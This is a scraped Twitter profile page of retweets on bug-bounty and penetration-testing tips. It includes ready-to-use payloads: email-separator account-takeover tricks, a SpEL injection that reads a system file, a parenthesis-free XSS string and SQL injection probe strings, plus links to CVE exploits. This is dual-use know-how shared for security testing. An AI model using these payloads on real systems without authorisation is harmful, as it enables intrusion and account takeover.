- Suvadip Kar
Down to Earth
Joined December 2016
- Tweets329
- Following90
- Followers5.5K
- Likes700
spidersec retweeted
⚙️ A lesser known tool, Osmedeus is the closest to Nuclei, that comes with an amazing web UI. You can use custom YAML workflows and vulnerability signatures just like Nuclei.
🔗 github.com/j3ssie/Osmedeus
#bugbounty #bugbountytips #infosec #cybersecurity #Pentesting
spidersec retweeted
github.com/jmdx/TLS-poison/
This is fucking bananas and I can't believe I missed it.
spidersec retweeted
Exploiting Redis Through SSRF Attack infosecwriteups.com/exploiti…
spidersec retweeted
Just created a working POC for CVE-2021-40444 with folks @EG_CERT
spidersec retweeted
Our Pre-Auth RCE exploit for Atlassian Confluence (CVE-2021–26084) was leaked after reporting it to @VMware. They have refused to admit the leak and ignored our emails.
tradahacking.vn/atlassian-co…
spidersec retweeted
Yet another Account Takeover technique.
Seperator:
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
Array:
{"email":["[email protected]","[email protected]"]}
Follow for more #infosec updates and #bugbountytips
spidersec retweeted
If you can get SpEL injection but can't get RCE, try exfiltrating a file with B64 encoding: T(java.util.Base64).getEncoder().encodeToString(T(org.apache.commons.io.FileUtils).readFileToString('/proc/self/cmdline').getBytes())
spidersec retweeted
JS Payload w/o Parentheses #XSS
[].pop.constructor`alert\x281\x29```
brutelogic.com.br/gym.php?p0…
spidersec retweeted
This is how I found sql-Injection 100% of the time
For site.com/?q=HERE
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
#bugbounty #BugBountyTips
spidersec retweeted
All MindMap that I have made so far
1. Forget Password Vulns: xmind.net/m/nZwbdk/
2. XML Attacks: xmind.net/m/xNEY9b/
3. 2FA Bypass Techniques: xmind.net/m/8Hkymg/
4. Android PT Checklist: xmind.net/m/GkgaYH/
(1/2)
#AppSec #hacking #bugbountytips #websecurity
spidersec retweeted
Extract all strings (in this case “(^/ | :// | / )” from all APKs files with jadx… #bugbounty #bugbountytip
spidersec retweeted
To be clear: @SpiderSec did not steal @codecancare exploit/payload. It was @gingeleski . @SpiderSec had only shared a link to the repo where it was posted etc. He DID NOTHING WRONG. Just want to make sure everyone understands this. And I apologize for the misattribution earlier.
spidersec retweeted
Prototype pollution scanner by me🙂
Retweets appreciated
#infosec
#BugBounty
github.com/raverrr/plution
spidersec retweeted
Coming soon , a podcast with
@SpiderSec
- OSWP ,OSCP/ ,security engineer & into exploit dev .
#redteaming #cybersec #infosec #bugbounty
spidersec retweeted
W00tw00t ! Game on labs.wizard-security.net alreday started =) Register and start owning.